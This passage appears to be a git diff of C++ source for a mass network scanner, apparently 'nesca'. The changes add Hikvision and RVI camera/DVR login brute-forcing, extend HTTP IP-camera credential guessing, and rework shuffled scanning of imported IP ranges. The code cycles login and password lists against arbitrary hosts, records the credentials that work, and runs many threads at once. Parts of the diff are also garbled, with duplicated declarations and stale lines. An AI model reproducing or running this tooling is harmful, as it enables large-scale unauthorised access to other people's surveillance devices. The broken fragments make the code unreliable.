closesocket(sock);
return false;
}
bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
hostent *host = NULL;
#if defined(WIN32)
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif
else return false;
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) return false;
struct linger linger = { 1, gTimeOut };
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
int bTO;
char buff[2048] = { 0 };
if (res != SOCKET_ERROR) {
send(sock, headerSAFARI, 128, 0);
char tBuff[128] = { 0 };
int offset = 0;
int sz = 0;
while ((sz = recvWT(sock, tBuff, 128, gTimeOut, &bTO)) > 0) {
memcpy(buff + offset, tBuff, sz);
offset = sz;
}
shutdown(sock, SD_BOTH);
closesocket(sock);
if (buff[0] != '\0') {
return true;
}
if (buff[0] == 8) return true;
else return false;
}
shutdown(sock, SD_BOTH);
closesocket(sock);
return false;
}
lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
{
lopaStr lps = { "UNKNOWN", "", "" };
int passCounter = 0;
char ip[64] = { 0 };
strcpy(ip, sDVRIP);
int rowIndex = -1;
char login[64] = { 0 };
char pass[64] = { 0 };
for (int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
if (!globalScanFlag) return lps;
ZeroMemory(login, 64);
ZeroMemory(pass, 64);
strcpy(login, loginLst[i]);
strcpy(pass, passLst[j]);
NET_DVR_DEVICEINFO_V30 *info;
NET_DVR_DEVICEINFO_V30 *info = 0;
hik_init_ptr();
if (hik_login_ptr(sDVRIP, wDVRPort, loginLst[i], passLst[j], info) == 0) {
strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
hik_cleanup_ptr();
int res = hik_login_ptr(ip, wDVRPort, login, pass, info);
hik_cleanup_ptr();
if (res == 0) {
strcpy(lps.login, login);
strcpy(lps.pass, pass);
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
}
return lps;
}
hik_cleanup_ptr();
if (BALogSwitched) stt->doEmitionBAData("HV: " + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100);
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
}
else{ rowIndex = -1; }
++passCounter;
Sleep(200);
}
}
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}
int rvi_login_ptr(const char *sDVRIP, int wDVRPort, const char *login, const char *pass) {
sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(wDVRPort);
hostent *host = NULL;
#if defined(WIN32)
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif
else return -1;
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) return -1;
struct linger linger = { 1, gTimeOut };
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
int bTO;
char newlp[32] = {0};
memcpy(newlp, loginRVIHeaderStart, 8);
memcpy(newlp + 8, login, strlen(login));
memcpy(newlp + 16, pass, strlen(pass));
memcpy(newlp + 24, loginRVIHeaderEnd, 8);
if (res != SOCKET_ERROR) {
send(sock, newlp, 32, 0);
char buff[32] = { 0 };
recvWT(sock, buff, 16, gTimeOut, &bTO);
shutdown(sock, SD_BOTH);
closesocket(sock);
if (buff[9] == 0x08) return 0;
else return -1;
}
shutdown(sock, SD_BOTH);
closesocket(sock);
return -1;
}
lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort)
{
lopaStr lps = { "UNKNOWN", "", "" };
int passCounter = 0;
char ip[64] = { 0 };
strcpy(ip, sDVRIP);
int rowIndex = -1;
char login[64] = { 0 };
char pass[64] = { 0 };
for (int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
if (!globalScanFlag) return lps;
ZeroMemory(login, 64);
ZeroMemory(pass, 64);
strcpy(login, loginLst[i]);
strcpy(pass, passLst[j]);
if (strlen(login) > 8) break;
if (strlen(pass) > 8) continue;
if (rvi_login_ptr(ip, wDVRPort, login, pass) == 0) {
strcpy(lps.login, login);
strcpy(lps.pass, pass);
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
}
return lps;
}
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
}
else { rowIndex = -1; }
++passCounter;
Sleep(200);
}
}
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}
lopaStr HikVis::HVLobby(const char *ip, const int port) {
if (gMaxBrutingThreads > 0) {
@ -52,3 +398,21 @@ lopaStr HikVis::HVLobby(const char *ip, const int port) {
return lps;
}
}
lopaStr HikVis::RVILobby(const char *ip, const int port) {
if (gMaxBrutingThreads > 0) {
while (BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
++BrutingThrds;
const lopaStr &lps = rviLogin(ip, port);
--BrutingThrds;
return lps;
}
else {
lopaStr lps = { "UNKNOWN", "", "" };
return lps;
}
}

View File

@ -8,11 +8,16 @@ class HikVis {
public: static bool isInitialized;
private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort);
lopaStr rviLogin(const char * sDVRIP, int wDVRPort);
public:
static bool checkHikk(const char * sDVRIP, int port);
static bool checkRVI(const char * sDVRIP, int port);
static bool checkSAFARI(const char * sDVRIP, int port);
void hikInit();
void hikCleanup();
lopaStr HVLobby(const char *ip, const int port);
lopaStr RVILobby(const char *ip, const int port);
};
#endif // UTILS_H

View File

@ -11,6 +11,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
char pass[128] = {0};
char request[1024] = {0};
int passCounter = 1;
int rowIndex = -1;
std::vector<char*> negVector;
if(strcmp(SPEC, "IPC") == 0)
@ -179,7 +180,15 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
if (doPost) res = con.nConnect(request, port, &buffer, postData);
else res = con.nConnect(request, port, &buffer);
if (res == -2) return lps;
if (res == -2) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}
else if (res != -1) {
for (int i = 0; i < negVector.size(); ++i)
{
@ -194,18 +203,40 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
}
return lps;
};
}
if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
}
else { rowIndex = -1; }
++passCounter;
Sleep(100);
};
};
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}

View File

@ -10,16 +10,16 @@
int gTimeOut = 3;
int gPingTimeout = 1;
int gMode;
int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
int AnomC1 = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, ssh = 0;
int PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
int camerasC1 = 0, filtered = 0, Overl = 0, Alive = 0, saved = 0, other = 0, ssh = 0;
int found = 0, indexIP = 0;
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
int MaxPass = 0, MaxLogin = 0,
MaxWFLogin = 0, MaxWFPass = 0,
MaxFTPLogin = 0, MaxFTPPass = 0,
MaxSSHPass = 0;
int baCount = 0;
int gMaxBrutingThreads = 50;
unsigned int Activity = 0;
char **loginLst, **passLst;
char **wfLoginLst, **wfPassLst;
char **sshlpLst;
char gTLD[128] = { 0 };
char gPorts[65536] = { 0 };
char currentIP[MAX_ADDR_LEN] = { 0 };
@ -42,18 +42,20 @@ char metaTargets[256] = { 0 };
char metaETA[256] = { 0 };
char metaOffline[256] = { 0 };
bool saveBackup;
void MainStarter::unBlockButtons(){
stt->doEmitionBlockButton(false);
}
int MainStarter::fileLoader(const char *fileName) {
char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
unsigned int importFileSize = 0;
FILE *fl = fopen(fileName, "r");
if (fl != NULL)
{
char curIP[256] = { 0 };
while (fgets((char*)curIP, sizeof(curIP), fl) != NULL)
{
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
@ -62,187 +64,169 @@ int MainStarter::fileLoader(const char *fileName) {
) ++importFileSize;
ZeroMemory(curIP, sizeof(curIP));
};
if (importFileSize == 0) {
fclose(fl);
return -1;
}
ipsstartfl = new unsigned int*[importFileSize + 1];
ipsendfl = new unsigned int*[importFileSize + 1];
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
ZeroMemory(ipsendfl, sizeof(ipsendfl));
for (int i = 0; i < importFileSize; ++i)
{
ipsstartfl[i] = new unsigned int[4];
ipsendfl[i] = new unsigned int[4];
ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
};
rewind(fl);
while (fgets(curIP, 256, fl) != NULL)
{
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
{
strcpy(curIPCopy, curIP);
char *ptr1 = strstr(curIP, " ");
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
ptr1 = strstr(curIP, " ");
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
ptr1 = strstr(curIP, "#");
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
if (strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
{
ZeroMemory(curIPCopy, sizeof(curIPCopy));
ZeroMemory(curIP, sizeof(curIP));
continue;
};
if (strstr(curIP, "-") != NULL)
{
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIP, '-');
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2];
ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3];
ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0];
ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1];
ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2];
ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3];
if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0]
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
&& ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1]
)
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
&& ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2]
)
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
&& ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2]
&& ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3]
)
)
{
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
QString::number(MainStarter::flCounter) +
"] String-> [" +
QString(curIPCopy) + "]");
return -1;
};
unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) +
(ipsstartfl[MainStarter::flCounter][1] * 65536) +
(ipsstartfl[MainStarter::flCounter][2] * 256) +
ipsstartfl[MainStarter::flCounter][3];
unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) +
(ipsendfl[MainStarter::flCounter][1] * 65536) +
(ipsendfl[MainStarter::flCounter][2] * 256) +
ipsendfl[MainStarter::flCounter][3];
if (ip1 > ip2) {
stt->doEmitionRedFoundData("Malformed input: check your range (" +
QString(curIP) + ")");
}
gTargets += ip2 - ip1 + 1;
++MainStarter::flCounter;
}
else if (strstr(curIP, "/") != NULL)
{
if (strlen(curIP) > 18) {
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
QString::number(MainStarter::flCounter) +
"] String-> [" +
QString(curIPCopy) +
"]");
continue;
}
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
unsigned int netmask = atoi(strstr(curIP, "/") + 1);
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIP, '.');
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
/*Set the bytes which won't be changed*/
for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){
ip_min[tmp1 - 1] = ip[tmp1 - 1];
ip_max[tmp1 - 1] = ip[tmp1 - 1];
}
/*Set the bytes which should be 0ed or 255ed.*/
for (tmp1 = tmp2, ++tmp2; tmp2< 4; tmp2++){
ip_min[tmp2] = 0;
ip_max[tmp2] = 255;
}
/* Finally set the one which has to be shifted.*/
if (tmp1 < 4){
tmp2 = 8 - netmask % 8;
ip_min[tmp1] = ip[tmp1] >> tmp2;
ip_min[tmp1] <<= tmp2;
ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1;
}
ipsstartfl[MainStarter::flCounter][0] = ip_min[0];
ipsstartfl[MainStarter::flCounter][1] = ip_min[1];
ipsstartfl[MainStarter::flCounter][2] = ip_min[2];
ipsstartfl[MainStarter::flCounter][3] = ip_min[3];
ipsendfl[MainStarter::flCounter][0] = ip_max[0];
ipsendfl[MainStarter::flCounter][1] = ip_max[1];
ipsendfl[MainStarter::flCounter][2] = ip_max[2];
ipsendfl[MainStarter::flCounter][3] = ip_max[3];
unsigned long ip1 = (ip_min[0] * 16777216) +
(ip_min[1] * 65536) +
(ip_min[2] * 256) +
ip_min[3];
unsigned long ip2 = (ip_max[0] * 16777216) +
(ip_max[1] * 65536) +
(ip_max[2] * 256) +
ip_max[3];
if (ip1 > ip2) {
stt->doEmitionRedFoundData("Malformed input: check your range (" +
QString(curIP) + ")");
}
gTargets += ip2 - ip1 + 1;
++MainStarter::flCounter;
}
else if (strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
{
///DUMMY///
}
else
{
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
QString::number(MainStarter::flCounter) +
"] String-> [" +
QString(curIPCopy) +
"]");
return -1;
};
ZeroMemory(curIP, sizeof(curIP));
};
};
gTargetsNumber = gTargets;
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
fclose(fl);
}
else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
if (importFileSize == 0) return -1;
ipsstartfl = new unsigned int*[importFileSize + 1];
ipsendfl = new unsigned int*[importFileSize + 1];
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
ZeroMemory(ipsendfl, sizeof(ipsendfl));
for (int i = 0; i < importFileSize; ++i)
{
ipsstartfl[i] = new unsigned int[4];
ipsendfl[i] = new unsigned int[4];
ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
};
std::vector<std::string> shuffleArray;
ifstream inputStream(fileName);
std::string curIPStr;
while (!inputStream.eof())
{
std::getline(inputStream, curIPStr);
if (curIPStr.size() > 1
&& curIPStr.find("#") == std::string::npos) shuffleArray.push_back(curIPStr);
}
std::random_shuffle(shuffleArray.begin(), shuffleArray.end());
for (int i = 0; i < importFileSize; ++i) {
curIPStr = shuffleArray[i];
if (curIPStr.find("-") != std::string::npos) {
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIPStr, '-');
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2];
ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3];
ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0];
ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1];
ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2];
ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3];
if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0]
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
&& ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1]
)
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
&& ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2]
)
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
&& ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2]
&& ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3]
)
)
{
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
QString(curIPStr.c_str()) + "]");
return -1;
};
unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) +
(ipsstartfl[MainStarter::flCounter][1] * 65536) +
(ipsstartfl[MainStarter::flCounter][2] * 256) +
ipsstartfl[MainStarter::flCounter][3];
unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) +
(ipsendfl[MainStarter::flCounter][1] * 65536) +
(ipsendfl[MainStarter::flCounter][2] * 256) +
ipsendfl[MainStarter::flCounter][3];
if (ip1 > ip2) {
stt->doEmitionRedFoundData(" Malformed input: check your range (" +
QString(curIPStr.c_str()) + ")");
}
gTargets += ip2 - ip1 + 1;
++MainStarter::flCounter;
}
else if (curIPStr.find("/") != std::string::npos)
{
if (curIPStr.size() > 18) {
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
QString(curIPStr.c_str()) +
"]");
continue;
}
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
unsigned int netmask = atoi(strstr(curIPStr.c_str(), "/") + 1);
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIPStr.c_str(), '.');
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
/*Set the bytes which won't be changed*/
for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){
ip_min[tmp1 - 1] = ip[tmp1 - 1];
ip_max[tmp1 - 1] = ip[tmp1 - 1];
}
/*Set the bytes which should be 0ed or 255ed.*/
for (tmp1 = tmp2, ++tmp2; tmp2 < 4; tmp2++){
ip_min[tmp2] = 0;
ip_max[tmp2] = 255;
}
/* Finally set the one which has to be shifted.*/
if (tmp1 < 4){
tmp2 = 8 - netmask % 8;
ip_min[tmp1] = ip[tmp1] >> tmp2;
ip_min[tmp1] <<= tmp2;
ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1;
}
ipsstartfl[MainStarter::flCounter][0] = ip_min[0];
ipsstartfl[MainStarter::flCounter][1] = ip_min[1];
ipsstartfl[MainStarter::flCounter][2] = ip_min[2];
ipsstartfl[MainStarter::flCounter][3] = ip_min[3];
ipsendfl[MainStarter::flCounter][0] = ip_max[0];
ipsendfl[MainStarter::flCounter][1] = ip_max[1];
ipsendfl[MainStarter::flCounter][2] = ip_max[2];
ipsendfl[MainStarter::flCounter][3] = ip_max[3];
unsigned long ip1 = (ip_min[0] * 16777216) +
(ip_min[1] * 65536) +
(ip_min[2] * 256) +
ip_min[3];
unsigned long ip2 = (ip_max[0] * 16777216) +
(ip_max[1] * 65536) +
(ip_max[2] * 256) +
ip_max[3];
if (ip1 > ip2) {
stt->doEmitionRedFoundData("Malformed input: check your range (" +
QString(curIPStr.c_str()) + ")");
}
gTargets += ip2 - ip1 + 1;
++MainStarter::flCounter;
}
else if (strstr(curIPStr.c_str(), "RESTORE_IMPORT_SESSION") != NULL)
{
///DUMMY///
}
else
{
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
QString::number(MainStarter::flCounter) +
"] String-> [" +
QString(curIPStr.c_str()) +
"]");
return -1;
};
};
gTargetsNumber = gTargets;
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
}
int MainStarter::loadTargets(const char *data) {
@ -379,12 +363,16 @@ void MainStarter::saveBackupToFile()
if (MainStarter::flCounter > 0)
{
if (!saveBackup) return;
FILE *savingFile = fopen("tempIPLst.bk", "w");
if (savingFile != NULL)
{
if (gflIndex < MainStarter::flCounter) {
sprintf(ipRange, "%s-%d.%d.%d.%d\n",
currentIP,
sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
ipsstartfl[gflIndex][0],
ipsstartfl[gflIndex][1],
ipsstartfl[gflIndex][2],
ipsstartfl[gflIndex][3],
ipsendfl[gflIndex][0],
ipsendfl[gflIndex][1],
ipsendfl[gflIndex][2],
@ -496,7 +484,7 @@ void MainStarter::saver()
{
saverRunning = true;
Sleep(1000);
while (globalScanFlag)
while (saveBackup && globalScanFlag)
{
savingBackUpFile = true;
saveBackupToFile();
@ -944,7 +932,7 @@ void MainStarter::startIPScan(){
tAddr.s_addr = ntohl(i);
ipVec.push_back(inet_ntoa(tAddr));
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
std::random_shuffle(ipVec.begin(), ipVec.end());
while (ipVec.size() != 0) {
@ -953,9 +941,9 @@ void MainStarter::startIPScan(){
if (!globalScanFlag) goto haters_gonna_hate_IPM;
++indexIP;
strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin());
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
@ -1180,7 +1168,6 @@ void MainStarter::startDNSScan(){
gTargets = dnsCounter;
gTargetsNumber = gTargets;
stt->doEmitionYellowFoundData("Starting DNS-scan...");
stt->doEmitionChangeStatus("Scanning...");
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
if (y == -1)
@ -1189,6 +1176,11 @@ void MainStarter::startDNSScan(){
};
}
struct Corac {
int index;
std::string ip;
};
void MainStarter::startImportScan(){
if (MainStarter::flCounter == 0)
{
@ -1198,56 +1190,120 @@ void MainStarter::startImportScan(){
return;
};
stt->doEmitionChangeStatus("Scanning...");
for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
//std::vector<std::string> ipVec;
std::vector<Corac> ipVec;
struct in_addr tAddr;
int ipOffset = 6;
//for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex)
for (gflIndex = 0; gflIndex < MainStarter::flCounter; gflIndex += ipOffset)
{
sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
//sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
// ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3],
// ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]);
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
(ipsstartfl[gflIndex][1] * 65536) +
(ipsstartfl[gflIndex][2] * 256) +
ipsstartfl[gflIndex][3];
ip2 = (ipsendfl[gflIndex][0] * 16777216) +
(ipsendfl[gflIndex][1] * 65536) +
(ipsendfl[gflIndex][2] * 256) +
ipsendfl[gflIndex][3];
//ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
// (ipsstartfl[gflIndex][1] * 65536) +
// (ipsstartfl[gflIndex][2] * 256) +
// ipsstartfl[gflIndex][3];
//ip2 = (ipsendfl[gflIndex][0] * 16777216) +
// (ipsendfl[gflIndex][1] * 65536) +
// (ipsendfl[gflIndex][2] * 256) +
// ipsendfl[gflIndex][3];
switch (gShuffle) {
case true: {
std::vector<std::string> ipVec;
struct in_addr tAddr;
int ipGap = MainStarter::flCounter - gflIndex;
if (ipGap < ipOffset)
{
ipOffset = ipGap;
};
for (unsigned long i = ip1; i <= ip2; ++i) {
for (int j = gflIndex, coracIndex = 0; j < gflIndex + ipOffset; ++j, coracIndex++)
{
/*sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d",
ipsstartfl[j][0], ipsstartfl[j][1], ipsstartfl[j][2], ipsstartfl[j][3],
ipsendfl[j][0], ipsendfl[j][1], ipsendfl[j][2], ipsendfl[j][3]);*/
ip1 = (ipsstartfl[j][0] * 16777216) +
